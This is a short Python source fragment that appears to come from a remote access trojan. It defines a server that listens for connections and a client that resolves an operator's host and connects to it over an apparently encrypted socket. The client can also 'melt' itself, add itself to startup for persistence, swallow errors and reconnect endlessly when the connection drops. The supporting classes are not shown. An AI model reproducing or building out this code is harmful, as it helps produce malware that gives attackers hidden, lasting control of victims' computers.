class MainServer: def __init__(self): self._args = Args(self) logger.init(self._args.get_args()) self.socket = Socket(self._args.get_args().port) self.control = Control(self.socket) def start(self): self.socket.listen_asych() View(self.control)
class MainClient: def __init__(self, host, port, is_host_name=False, add_to_startup=False, melt=False): os.chdir(os.path.dirname(os.path.abspath(__file__))) # make sure working dir is same as file dir self._args = Args(self) logger.init(self._args.get_args()) self.socket = None self.host = socket.gethostbyname(host) if is_host_name else host self.port = port p = Persistence() try: if melt: p.melt() if add_to_startup: p.add_startup() except (errors.ClientSocket.Persistence.StartupError, NotImplementedError): pass def start(self): self.socket = Socket(self.host, self.port) try: self.socket.connect() except (cryptography.fernet.InvalidToken, socket.error): # if the server closes without warning self.socket.close() del self.socket self.start()